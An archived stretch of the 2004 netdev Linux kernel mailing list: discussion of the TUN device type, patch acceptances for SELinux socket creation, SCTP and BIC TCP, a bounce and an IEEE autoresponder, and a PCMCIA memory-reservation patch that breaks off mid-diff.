(8.12.10/8.12.9) with SMTP id i48Bu2KO006802 for ; Sat, 8 May 2004 04:56:02 -0700 Received: from mail.cyberus.ca ([209.197.145.21]) by mx01.cybersurf.com with esmtp (Exim 4.20) id 1BMQRH-0002WS-H7 for netdev@oss.sgi.com; Sat, 08 May 2004 07:56:19 -0400 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.21]) by mail.cyberus.ca with esmtp (Exim 4.20) id 1BMQQs-0003x7-6R; Sat, 08 May 2004 07:55:54 -0400 Subject: Re: tun device - bug or feature? WAS(Re: IMQ / new Dummy device post. From: jamal Reply-To: hadi@cyberus.ca To: Max Krasnyansky Cc: netdev@oss.sgi.com, syrius.ml@no-log.org, Jeff Garzik , "David S. Miller" In-Reply-To: <1083007898.7788.276.camel@localhost> References: <1082427350.1034.70.camel@jzny.localdomain> <1082639764.1059.81.camel@jzny.localdomain> <87oepjx65r.87n053x65r@87llknx65r.message.id> <1082719745.1057.27.camel@jzny.localdomain> <1082816083.1054.32.camel@jzny.localdomain> <1083007898.7788.276.camel@localhost> Content-Type: text/plain Organization: jamalopolis Message-Id: <1084017322.1041.30.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 08 May 2004 07:55:22 -0400 Content-Transfer-Encoding: 7bit X-archive-position: 5055 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev Max, Dave, Jeff, I get what was bothering me now - it took me a while to formulate it: TUN_TUN_DEV dev->type is ARPHRD_PPP dev->type is really related to link layer header, perhaps at the low level if neighbor discovery works well then we have a link-headerless packet which gets manipulated with the correct header by some generic code. The combination of dev->type and dev->hard_header_len works together to achieve this. In the case of TUN_TUN_DEV, the header_len is 0 ;-> To be of type ARPHRD_PPP, tun needs to have a header_len which is the size of the l2 ppp header. As an example, TUN_TAP_DEV is fine as type ARPHRD_ETHER and header_len of ETH_HLEN. A lot of devices are abusing this system, tun is not the only one. My suggestion is to change dev->type to ARPHRD_VOID for TUN_TUN_DEV or we introduce something like ARPHDR_NONE for devices with link layer headers of size 0. thoughts? cheers, jamal On Mon, 2004-04-26 at 15:31, Max Krasnyansky wrote: > On Sat, 2004-04-24 at 07:14, jamal wrote: > > Maxim, > > > > When TUN_TUN_DEV is used, before the packet is injected into > > the netif_rx() only skb->mac.raw = skb->data is set; the other headers > > are not adjusted. Typically netdevs would do a > > skb_pull(skb,dev->hard_header_len) to make the adjustment. > > I have a feeling this is design intent thats why i didnt send you a > > patch. > Well TUN does not have any hw headers so there is nothing to pull :). > Basically it does what ever PPP driver does. Which is > > skb_pull(skb, 2); /* chop off protocol */ > skb->dev = ppp->dev; > skb->protocol = htons(npindex_to_ethertype[npi]); > skb->mac.raw = skb->data; > netif_rx(skb); > > Max > > > From davem@redhat.com Sat May 8 15:01:41 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 08 May 2004 15:01:46 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i48M1eKO026303 for ; Sat, 8 May 2004 15:01:41 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i48M1a0m005523; Sat, 8 May 2004 18:01:36 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i48M1Zv15512; Sat, 8 May 2004 18:01:35 -0400 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i48M1QKv001862; Sat, 8 May 2004 18:01:26 -0400 Date: Sat, 8 May 2004 15:01:17 -0700 From: "David S. Miller" To: James Morris Cc: sds@epoch.ncsc.mil, chrisw@osdl.org, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, selinux@tycho.nsa.gov Subject: Re: [PATCH][SELINUX] 1/2 sock_create_kern() Message-Id: <20040508150117.4a88b81a.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5056 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Fri, 7 May 2004 11:05:10 -0400 (EDT) James Morris wrote: > The patch below adds a function sock_create_kern() for use when the kernel > creates sockets for its own use. This looks fine, applied. From davem@redhat.com Sat May 8 15:04:57 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 08 May 2004 15:05:00 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i48M4uKO026667 for ; Sat, 8 May 2004 15:04:57 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i48M4p0m005986; Sat, 8 May 2004 18:04:51 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i48M4pv16073; Sat, 8 May 2004 18:04:51 -0400 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i48M4fKv003043; Sat, 8 May 2004 18:04:42 -0400 Date: Sat, 8 May 2004 15:04:32 -0700 From: "David S. Miller" To: James Morris Cc: hch@infradead.org, sds@epoch.ncsc.mil, chrisw@osdl.org, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, selinux@tycho.nsa.gov Subject: Re: [PATCH][SELINUX] 2/2 sock_create_lite() Message-Id: <20040508150432.3856573c.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5057 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Fri, 7 May 2004 15:53:30 -0400 (EDT) James Morris wrote: > Ok, here's a version of this patch which doesn't do anything with > sock_alloc(). Applied, although I had to hand-edit the patch since you accidently included the following bit from the first SELINUX patch of this series :-) > - err = sock_create(family, SOCK_SEQPACKET, IPPROTO_SCTP, > - &sctp_ctl_socket); > + err = sock_create_kern(family, SOCK_SEQPACKET, IPPROTO_SCTP, > + &sctp_ctl_socket); From davem@redhat.com Sat May 8 15:22:41 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 08 May 2004 15:22:51 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i48MMeKO027517 for ; Sat, 8 May 2004 15:22:41 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i48MMc0m008404; Sat, 8 May 2004 18:22:38 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i48MMcv19204; Sat, 8 May 2004 18:22:38 -0400 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i48MMTKv007470; Sat, 8 May 2004 18:22:29 -0400 Date: Sat, 8 May 2004 15:22:20 -0700 From: "David S. Miller" To: Sridhar Samudrala Cc: netdev@oss.sgi.com, lksctp-developers@lists.sourceforge.net Subject: Re: [PATCH - SCTP] Fix multihomed connection failures on 64-bit systems. Message-Id: <20040508152220.3e614800.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5058 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Fri, 7 May 2004 14:51:02 -0700 (PDT) Sridhar Samudrala wrote: > The following patch from Vladislav Yasevich fixes an SCTP issue with 64-bit > systems. > This applies to 2.4 tree also with a small offset. Please use attachments if your mailer is going to turn tabs into spaces as this makes the patch not apply cleanly. I fixed it up by hand this time. Thanks. From davem@redhat.com Sat May 8 15:30:10 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 08 May 2004 15:30:13 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i48MU9KO027909 for ; Sat, 8 May 2004 15:30:10 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i48MU60m009421; Sat, 8 May 2004 18:30:06 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i48MU6v20241; Sat, 8 May 2004 18:30:06 -0400 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i48MTvKv008626; Sat, 8 May 2004 18:29:57 -0400 Date: Sat, 8 May 2004 15:29:48 -0700 From: "David S. Miller" To: Stephen Hemminger Cc: lxu2@unity.ncsu.edu, rhee@csc.ncsu.edu, netdev@oss.sgi.com Subject: Re: [PATCH] BIC TCP for Linux 2.6.6 Message-Id: <20040508152948.6b7fde7a.davem@redhat.com> In-Reply-To: <20040507160957.22d46527@dell_ss3.pdx.osdl.net> References: <00b601c42638$04ecac20$96330e98@VALUED66329DCC> <01d101c4263a$2a51d060$8c330e98@nanegrc> <20040429153811.56d410e3@dell_ss3.pdx.osdl.net> <003b01c42e52$6e317ef0$20339804@Nannan> <20040505155538.0d414cae@dell_ss3.pdx.osdl.net> <000701c43383$2f6bc1e0$8c330e98@nanegrc> <20040507160957.22d46527@dell_ss3.pdx.osdl.net> X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5059 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Fri, 7 May 2004 16:09:57 -0700 Stephen Hemminger wrote: > This is a version of Binary Increase Control (BIC) TCP > developed by NCSU. Nice work everyone, I'm applying this. Stephen, I guess the send buffer auto-tuning bits are next? From MDaemon@cube-tec.de Sun May 9 05:19:56 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 09 May 2004 05:20:52 -0700 (PDT) Received: from cube-tec.de (isp84.isp.briteline.de [195.90.8.84] (may be forged)) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i49CJsKO000649 for ; Sun, 9 May 2004 05:19:55 -0700 Message-Id: <200405091219.i49CJsKO000649@oss.sgi.com> Date: Sun, 09 May 2004 14:21:00 +0200 From: MDaemon@cube-tec.de Reply-To: MDaemon@cube-tec.de Subject: Warning: john@cube-tec.de - User unknown! To: netdev@oss.sgi.com X-MDaemon-Deliver-To: netdev@oss.sgi.com Mime-Version: 1.0 X-Actual-From: MDaemon@cube-tec.de Content-Type: multipart/mixed; boundary="0509-1421-00-PART-BREAK" X-archive-position: 5060 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: MDaemon@cube-tec.de Precedence: bulk X-list: netdev The following data may contain sections which represent BASE64 encoded file attachments. These sections will be unreadable without MIME aware tools. Seek your system administrator if you need help extracting any files which may be embedded within this message. --0509-1421-00-PART-BREAK Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit john@cube-tec.de - no such user here. There is no user by that name at this server. : Message contains [1] file attachments --0509-1421-00-PART-BREAK Content-Type: application/octet-stream; name="pd75000006406.txt" Content-Transfer-Encoding: base64 UmV0dXJuLXBhdGg6IDxuZXRkZXZAb3NzLnNnaS5jb20+DQpSZWNlaXZlZDog ZnJvbSBqdW5rLWd3LXNwZWNkIChbMTI3LjAuMC4xXSkNCglieSBjdWJlLXRl Yy5kZSAoY3ViZS10ZWMuZGUgWzEyNy4wLjAuMV0pDQoJKE1EYWVtb24uUFJP LnY2LjguNS5SKQ0KCXdpdGggRVNNVFAgaWQgMjEtbWQ1MDAwMDAwMDA4Ni50 bXANCglmb3IgPGpvaG5AY3ViZS10ZWMuZGU+OyBTdW4sIDA5IE1heSAyMDA0 IDE0OjIwOjQ4ICswMjAwDQpSZWNlaXZlZDogZnJvbSBzbXRwLWdhdGUuZy1i YWcuYmF5Y2l4LmRlIChbMjEyLjcyLjY1LjNdKQ0KCWJ5IHNtdHAtZ3cuY3Vi ZS10ZWMuZGUgKFsxOTUuOTAuOC44NF0pDQoJd2l0aCBTTVRQIChNRGFlbW9u LlBSTy52Ni41LjIuUikNCglmb3IgPGpvaG5AaGRhLmRlPjsgU3VuLCAwOSBN YXkgMjAwNCAxNDoyNTowMyArMDIwMA0KUmVjZWl2ZWQ6IGZyb20gb3NzLnNn aS5jb20gKFs2MS4xNDQuMjE0LjIzMV0pDQoJYnkgc210cC1nYXRlLmctYmFn LmJheWNpeC5kZSAoOC4xMi42LzguMTIuNi9TdVNFIExpbnV4IDAuNikgd2l0 aCBFU01UUCBpZCBpNDlDSWlEazAxMDQ3OQ0KCWZvciA8am9obkBoZGEuZGU+ OyBTdW4sIDkgTWF5IDIwMDQgMTQ6MTg6NDYgKzAyMDANCkZyb206IG5ldGRl dkBvc3Muc2dpLmNvbQ0KVG86IGpvaG5AaGRhLmRlDQpTVUJKRUNUOiANCkRh dGU6IFN1biwgOSBNYXkgMjAwNCAyMDoyMzoxNiArMDgwMA0KTUlNRS1WZXJz aW9uOiAxLjANCkNvbnRlbnQtVHlwZTogbXVsdGlwYXJ0L21peGVkOw0KCWJv dW5kYXJ5PSItLS0tPV9OZXh0UGFydF8wMDBfMDAwMl9EQUYxNTRDOS5GMTc5 N0RFRSINClgtU3BhbVBhbDogUEFTUw0KWC1SQkwtV2FybmluZzogaXB3aG9p cy5yZmMtaWdub3JhbnQub3JnDQpYLU1EYWVtb24tRGVsaXZlci1Ubzogam9o bkBjdWJlLXRlYy5kZQ0KUmVwbHktVG86IG5ldGRldkBvc3Muc2dpLmNvbQ0K WC1TcGFtLVJlcG9ydDogICAtLS0tIFN0YXJ0IFNwYW1Bc3Nhc3NpbiByZXN1 bHRzDQogIDcuNTAgcG9pbnRzLCA0LjIgcmVxdWlyZWQ7DQogICogIDEuMSAt LSBGcm9tOiBkb2VzIG5vdCBpbmNsdWRlIGEgcmVhbCBuYW1lDQogICogIDIu NyAtLSBNZXNzYWdlIGhhcyBiZWVuIG1hcmtlZCBieSBNRGFlbW9uJ3MgU3Bh bSBCbG9ja2VyDQogICogIDIuMyAtLSBCT0RZOiBCYXllc2lhbiBjbGFzc2lm aWVyIHNheXMgc3BhbSBwcm9iYWJpbGl0eSBpcyA3MCB0byA4MCUNCiAgW3Nj b3JlOiAwLjczNDRdDQogICogIDAuOSAtLSAnTWVzc2FnZS1JZCcgd2FzIGFk ZGVkIGJ5IGEgcmVsYXkgKDMpDQogICogIDAuMSAtLSBNZXNzYWdlIGhhcyBY LU1TTWFpbC1Qcmlvcml0eSwgYnV0IG5vIFgtTWltZU9MRQ0KICAqICAwLjQg LS0gTWVzc2FnZSBoYXMgcHJpb3JpdHkgc2V0dGluZywgYnV0IG5vIFgtTWFp bGVyDQogIC0tLS0gRW5kIG9mIFNwYW1Bc3Nhc3NpbiByZXN1bHRzDQpYLVNw YW0tUHJvY2Vzc2VkOiBjdWJlLXRlYy5kZSwgU3VuLCAwOSBNYXkgMjAwNCAx NDoyMDo1MyArMDIwMA0KWC1TcGFtLVJlc3VsdDogWUVTIChtZGFlbW9uIC0g bWFpbCB3YXMgY2xhc3NpZmllZCBhcyBzcGFtKQ0KDQpUaGlzIGlzIGEgbXVs dGktcGFydCBtZXNzYWdlIGluIE1JTUUgZm9ybWF0Lg0KDQoNCi0tLS0tLT1f TmV4dFBhcnRfMDAwXzAwMDJfREFGMTU0QzkuRjE3OTdERUUNCkNvbnRlbnQt VHlwZTogdGV4dC9wbGFpbjsNCgljaGFyc2V0PSJXaW5kb3dzLTEyNTIiDQpD b250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiA3Yml0DQoNCkl0J3MgdGhlIGxv bmctYXdhaXRlZCBmaWxtIHZlcnNpb24gb2YgdGhlIEJyb2Fkd2F5IGhpdC4g VGhlICBtZXNzYWdlICBzZW50IGFzICBhIGJpbmFyeSBhdHRhY2htZW50Lg0K DQoNCi0tLS0tLT1fTmV4dFBhcnRfMDAwXzAwMDJfREFGMTU0QzkuRjE3OTdE RUUNCkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpbjsNCgluYW1lPSJJbnRlclNj YW5fU2FmZVN0YW1wLnR4dCINCkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6 IDdiaXQNCkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7DQoJZmls ZW5hbWU9IkludGVyU2Nhbl9TYWZlU3RhbXAudHh0Ig0KDQoqKioqKiogTWVz c2FnZSBmcm9tIEludGVyU2NhbiBFLU1haWwgVmlydXNXYWxsIE5UICoqKioq Kg0KDQoqKiBXQVJOSU5HISBBdHRhY2hlZCBmaWxlIGZpbGUuemlwIGNvbnRh aW5zOg0KDQogICAgIFdPUk1fTE9WR0FURS5YIHZpcnVzIGluIGNvbXByZXNz ZWQgZmlsZSBmaWxlLmh0bSAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAuc2Ny DQoNCiAgIEF0dGVtcHRlZCB0byBjbGVhbiB0aGUgZmlsZSBidXQgaXQgaXMg bm90IGNsZWFuYWJsZS4NCiAgIEl0IGhhcyBiZWVuIGRlbGV0ZWQuDQoqKioq KioqKioqKioqKioqKiAgICAgRW5kIG9mIG1lc3NhZ2UgICAgICoqKioqKioq KioqKioqKg0KDQoNCi0tLS0tLT1fTmV4dFBhcnRfMDAwXzAwMDJfREFGMTU0 QzkuRjE3OTdERUUtLQ0K --0509-1421-00-PART-BREAK-- From noreply@ieee.org Sun May 9 21:56:56 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 09 May 2004 21:57:01 -0700 (PDT) Received: from engine.ieee.org (engine.ieee.org [140.98.193.23]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4A4utKO031256 for ; Sun, 9 May 2004 21:56:56 -0700 Received: from engine.ieee.org (localhost [127.0.0.1]) by engine.ieee.org (Switch-3.1.2/Switch-3.1.2) with ESMTP id i4A4usBL014130 for ; Mon, 10 May 2004 00:56:55 -0400 (EDT) Received: (from mailnull@localhost) by engine.ieee.org (Switch-3.1.2/Switch-3.1.0/Submit) id i4A4usM7014123; Mon, 10 May 2004 00:56:54 -0400 (EDT) Date: Mon, 10 May 2004 00:56:54 -0400 (EDT) Message-Id: <200405100456.i4A4usM7014123@engine.ieee.org> To: netdev@oss.sgi.com Subject: Re: hello References: <200405100456.i4A4uniw012366@hormel3.ieee.org> In-Reply-To: <200405100456.i4A4uniw012366@hormel3.ieee.org> From: standards@ieee.org (Standards) Precedence: bulk Organization: IEEE Service Center, Piscataway, NJ USA X-archive-position: 5061 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: standards@ieee.org Precedence: bulk X-list: netdev Thank you for your inquiry on IEEE Standards. To satisfy any immediate needs, we offer you the option to search the abundant resource of information on our IEEE Standards web site. To help you find the information you are seeking, please check the following URLs directly under the titles below. ***If you need to contact an IEEE Standards Information Representative, see the final paragraph of this message. Please note that we cannot answer detailed technical questions regarding the content of a standard or on its practical application. We suggest that you consult with the standard's technical contact.*** TECHNICAL ASSISTANCE ON A STANDARD ---------------------------------- < http://standards.ieee.org/db/status/ > For technical assistance, enter the standard number, such as "1303-1994"or keyword, such as "switchgears" and press "search." The name and contact information of the technical contact is posted. LOCATE INFORMATION ON A STANDARD -------------------------------- < http://standards.ieee.org/search.html > Enter a standard number, such as "1303-1994" or keyword, such as "switchgears" and press search. This will return all information and standards that are related to your search. ORDERING A STANDARD ------------------- < http://standards.ieee.org/catalog/ > Find the IEEE Standard that you are looking for by using our "topical listing", "numerical cross reference", or by performing a "search". For ordering terms and conditions, please view: or contact IEEE Customer Service via: Email: customer.service@ieee.org; Phone: 800.678.4333 (US and Canada) or 732.981.0060; Fax: 732.981.9667; Mail: IEEE Customer Service, 445 Hoes Lane, PO Box 1331, Piscataway, NJ 08855-1331 USA * A list of distributors can be found at < http://standards.ieee.org/catalog/distrib.html > IEEE STANDARDS ONLINE ---------------------- < http://standards.ieee.org/catalog/olis/index.html> IEEE Standards Online prepaid annual subscription service gives you continuous access to some of the most popular technical standards--on the Web. Each subscription has a collection of topically related standards. New standards will be added to a subscription, at no extra charge during your subscription period. Click "About Subscriptions" to view more information about this service. Click "Subscription Portfolio" to view the most current subscriptions available. Click "How to Order" for instructions on placing your order. ABSTRACTS ON IEEE STANDARDS --------------------------- < http://standards.ieee.org/db/status > Enter a standard number, such as "1303-1994" or key word, such as "switchgears" and press search. An abstract gives an overview of a standard. Scopes, purposes, and technical contacts for each standard and standards projects also are provided. IEEE-SA MEMBERSHIP INFORMATION ----------------------------------------- Individual Membership in the IEEE-SA Join IEEE-SA today and become part of the dedicated community of standards participants who are influencing the development of standards that impact your industry. IEEE-SA dues is $10 for IEEE members and IEEE Society Affiliates, and $125 for all others. For more information, please contact ieee-sa@ieee.org Corporate Membership in the IEEE-SA IEEE-SA provides your company with the opportunity and ability to pursue consensus on and stay connected to technical issues supporting your business and marketing needs. Your active participation in IEEE-SA standards development allows the IEEE-SA to develop standards that foster new technologies and keep pace with the demands of standards users around the globe. For more information, please view our web site at http://standards.ieee.org/sa-mem/corporate.html or contact ieee-sa-exec@ieee.org ARCHIVED STANDARDS ------------------ < http://standards.ieee.org/catalog/withdrawn.html> An archived standard is a previously approved standard that has been withdrawn. A list of standards withdrawn since 1995 can be found at the above URL. If you need a printed copy of an archived IEEE standard, please contact: Global Engineering Documents Center M/S B201, 15 Inverness Way East Englewood CO 80112 USA Phone: 800.854.7179 (US and Canada) or 303.792.2181 Fax: 303.397.2740. DRAFTS ------ < http://standards.ieee.org/catalog/catsearch.html > Draft listings have been integrated into the online catalog. Tip: To search for draft standards, the standard number should be preceded by a "P" (No spaces). Example: "P802.5w" or "P1478" IEEE Standards offers both (1) Pre-Approved Draft Standards, which are standards projects under development but not yet officially approved by the IEEE-SA Standards Board and (2) Approved Draft Standards, which are documents that have been approved by the IEEE-SA Standards Board, but are awaiting publication. Please note that draft standards cannot be returned or exchanged. DISTRIBUTORS LISTING -------------------- < http://standards.ieee.org/catalog/distrib.html > You may purchase the active IEEE standards through any one of the distributors listed on this web site (For "Archived standards" see above). Pricing is subject to distributor's discount policies. THE STANDARDS PROCESS --------------------- < http://standards.ieee.org/resources/index.html > View this site to gain insight into every aspect of IEEE's process for creating a standard. MAC ADDRESSES/OUI/ETHERNET LISTINGS ----------------------------------- < http://standards.ieee.org/regauth/oui/index.shtml > The application information, tutorials and Public OUI/Company Listings are provided. However, not all firms assigned an OUI have elected to make their official IEEE Organizationally Unique Identifier (OUI) public at this time. IEEE ETHERTYPE FIELD REGISTRATION ACTIVITY ------------------------------------------- < http://standards.ieee.org/regauth/ethertype/index.html > The application information, tutorials and Public EtherType Field assignments are provided. However, not all firms assigned an EtherType field have elected to make it public at this time. IEEE POSIX ---------- < http://standards.ieee.org/regauth/posix/index.html > Effective 1 January 1998, IEEE offers the official validation service for the National Institute of Standards and Technology (NIST) POSIX (Portable Operating System Interface). PATENT INFORMATION ------------------ < http://standards.ieee.org/db/patents/ > This site lists all known patents that may affect the practice of IEEE Standards for which letters of assurance have been received since 1993. Please note that the IEEE is not responsible for identifying all patents for which a license may be required or for conducting inquiries into the legal validity or scope of those patents that are brought to its attention. PERMISSION TO REPRINT INFORMATION FROM AN IEEE STANDARD ------------------------------------------------------- < http://standards.ieee.org/faqs/copyrightFAQ.html#q1 > To request permission to reprint information from an IEEE standard, please email: stds.ipr@ieee.org or Phone: 732.562.3804 or Fax to 732.562.1571. BALLOTING ---------------------------------- < http://standards.ieee.org/db/balloting/index.html > Visit here for more information on balloting requirements or to sign up and join a balloting pool. STYLE TEMPLATES FOR IEEE STANDARDS ---------------------------------- < http://standards.ieee.org/resources/spasystem/index.html > These templates establish the preferred style for the preparation of proposed IEEE standards. ERRATA SHEETS ------------- < http://standards.ieee.org/reading/ieee/updates/errata/ > Certain errata sheets can be found on this URL. Errata sheets correct typographical or editorial errors that have been found in a particular IEEE standard after it has been approved and published. For a paper copy or for an errata sheet not available on this URL, please contact IEEE Customer Service at Phone: 800.678.IEEE (US and Canada) or 732.981.0060; Fax: 732-981-9667; E-mail at customer.service@ieee.org. IEEE STANDARDS INTERPRETATIONS ------------------------------ < http://standards.ieee.org/reading/ieee/interp/ > Interpretations are issued to explain and clarify the intent of the standard and are not intended to constitute an alteration to the original standard or to supply consulting information. If you are interested in requesting an interpretation of a particular standard, please view: < http://standards.ieee.org/reading/ieee/interp/#proc > FREQUENTLY ASKED QUESTIONS (FAQs) --------------------------------- < http://standards.ieee.org/faqs/index.html > Lastly, much more information on IEEE Standards can be found on this URL, such as: IEEE Standards Association (IEEE-SA) Acronyms and Buzzwords Balloting a Standard IEEE Standards Bearer Copyright, Permission, and Patents International Standards and the IEEE Leadership Training Presentations Other Standards-Developing Organizations IEEE Press Publications ======================================== We hope that we have answered your questions. If you need more information, please contact us again at stds-help@ieee.org Thank you for your continued interest in IEEE standards. From ahp@hilander.com Mon May 10 06:07:20 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 10 May 2004 06:07:28 -0700 (PDT) Received: from ramirez.hilander.com (d61.wireless.hilander.com [216.241.32.61]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4AD7JKO020196 for ; Mon, 10 May 2004 06:07:19 -0700 Received: from [216.241.32.62] (helo=[192.168.0.100]) by ramirez.hilander.com with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.33) id 1BNAUy-0002Il-Ta; Mon, 10 May 2004 07:07:14 -0600 Date: Mon, 10 May 2004 07:07:16 -0600 From: "Alec H. Peterson" To: linux-kernel@vger.kernel.org cc: Manfred Spraul , Dominik Brodowski , netdev@oss.sgi.com Subject: PCI memory reservation failure - 2.4/2.6 Message-ID: X-Mailer: Mulberry/3.1.3 (Mac OS X) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="==========64F0AF502D9162668487==========" X-archive-position: 5062 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ahp@hilander.com Precedence: bulk X-list: netdev --==========64F0AF502D9162668487========== Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Greetings, Several users (myself included) have reported problems with PCI memory reservation failures when using Cardbus cards with certain PCMCIA bridge/motherboard configurations. I believe the problem stems from either the Cardbus controller or the motherboard BIOS not assigning large enough aligned blocks of memory to the Cardbus slots. I am running on a Shuttle XPC (built in mainboard) with a Ricoh RL5C475 single slot PCMCIA/PCI bridge. The current kernel I am using is 2.4.25, but I have duplicated the problem in 2.4.26 as well as 2.6.5. The lspci -vv/iomem details (without the patched yenta_socket.o module) are attached. The fix I propose is as follows: *** linux-2.4.25/drivers/pcmcia/yenta.c.old Wed Feb 18 13:36:31 2004 --- linux-2.4.25/drivers/pcmcia/yenta.c Fri May 7 05:29:56 2004 *************** *** 753,758 **** --- 753,767 ---- start = config_readl(socket, offset) & mask; end = config_readl(socket, offset+4) | ~mask; + #if 1 + if (!(type & IORESOURCE_IO) && (((end - start) < 